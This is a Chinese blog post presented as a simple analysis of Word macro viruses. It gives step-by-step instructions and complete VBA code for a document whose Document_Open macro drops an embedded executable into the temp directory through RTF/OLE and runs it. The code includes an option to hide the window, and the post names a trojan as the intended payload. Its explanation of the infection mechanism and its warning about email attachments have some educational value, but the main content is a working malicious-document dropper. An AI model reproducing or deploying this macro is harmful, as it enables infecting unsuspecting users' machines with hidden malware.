宏病毒的简单分析——todo,待实践
宏病毒的简单分析
Office是一款应用广泛的办公软件,它允许在文档中使用功能强大的可执行指令,也就是宏代码。然而,宏代码带来便利的同时,也使得病毒的制造与传播更加容易。正所谓想要瓦解敌人,一定要从内部开始,所以从Word宏病毒的实现入手,来分析其感染原理。
一、实验环境
实验目标:打开Word文档时,自动运行某个指定程序。
1. 启用所有宏
新建Word文档并打开,进入[选项]->[信任中心]->[信任中心设置]->[宏设置],点选“启用所有宏”。我的Office版本是2013,其他版本的设置大同小异,细节上可能有些许差别,读者自行Google。
2. 创建宏
进入[视图]->[宏],“宏名”任意输入,“宏的位置”选择当前活动文档,然后点击[创建],即可成功创建一个宏,并自动进入宏代码编辑模块。
3. 编写宏代码
选择工程目录中的[Project/Microsoft Word 对象/ThisDocument],编写如下代码:
Private Sub Document_Open()
Application.DisplayStatusBar = False ' 隐藏文档的状态栏
Options.SaveNormalPrompt = False ' 取消退出前对Normal模板的保存更改提示
On Error GoTo temperr
temp = Environ$("TEMP") + "\" ' 获取系统临时目录
GoTo nomal
temperr:
temp = Environ("TEMP") + "\"
GoTo nomal
nomal:
original = ActiveDocument.FullName ' 当前文档的全路径
rtf1 = temp + "1.rtf"
rtf2 = temp + "2.rtf"
exe = temp + "tmp.exe" ' 嵌在文档中的木马程序
exe2 = temp + "tmp (2).exe"
Dim wrdApp As Object
Set wrdApp = CreateObject("Word.Application")
wrdApp.Visible = False
try:
On Error GoTo err1
ActiveDocument.SaveAs2 FileName:=rtf1, FileFormat:=wdFormatRTF ' 将当前文档另存为RTF
ActiveDocument.SaveAs2 FileName:=rtf2, FileFormat:=wdFormatRTF
ActiveDocument.SaveAs2 FileName:=original, FileFormat:=wdFormatDocument
Set wrdDoc = wrdApp.Documents.Open(rtf1) ' 打开临时目录中的RTF文件
On Error GoTo err2
'Shell (exe, 0) ' 隐藏窗口执行木马程序
Shell (exe) ' 显示窗口执行木马程序
GoTo final
err1:
GoTo final
err2:
'Shell (exe2, 0)
Shell (exe2)
GoTo final
final:
wrdApp.Quit
End Sub
4. 嵌入木马程序
上一步宏代码的目标是在打开Word时执行文件名为“tmp.exe”的木马程序,前提当然是文档中确实嵌入了这么一个程序,具体方法为:进入[插入]->[对象]->[由文件创建]->[浏览],选择你想嵌入的可执行程序(需提前重命名为“tmp.exe”)。
保存上述所有操作,关闭文档。重新打开文档(或将文档拷贝到另一台机器上打开),点击“enable content”(启用内容),会自动弹出刚才嵌入的可执行程序(如果在代码中设置隐藏窗口,需要打开进程管理器才能看到)。建议先找个系统程序试一下,比如cmd.exe或是calc.exe,但是在现实环境中,可执行程序就可能是个木马,而且无疑是隐藏窗口执行,难以被察觉。
二、感染原理
在上一步骤中,实现了打开文档自动执行可执行程序,其基本实现流程是:将当前文档另存为两个RTF文件,保存路径为系统临时目录,然后打开其中一个RTF文件,最后执行临时目录中一个名为“tmp.exe”的可执行程序。显然,该程序就是嵌入到文档中的可执行程序,而这个Word文档(这段宏代码)的目的就是将其释放并执行。那么问题来了,嵌在文档中的“tmp.exe”是怎么跑到系统临时目录中的呢?
其实很简单,一个RTF文件被打开时,该RTF文件所包含的OLE对象将会被自动释放至用户的临时目录中,并保留其原始的文件名。这么做的本意是优化性能,比如OLE对象重用,但是,它也可能被攻击者所利用,攻击者可以很容易地把自己的恶意程序嵌入到Word文件中,并且加上像上面那么一段宏代码,就能轻易感染目标机器。
这种场景最容易发生在邮件附件中,平时打开来历不明的Office附件要留一份心眼。
结束
参考文章:http://www.evil0x.com/posts/22164.html
注:本文仅用作学习交流,请勿非法滥用。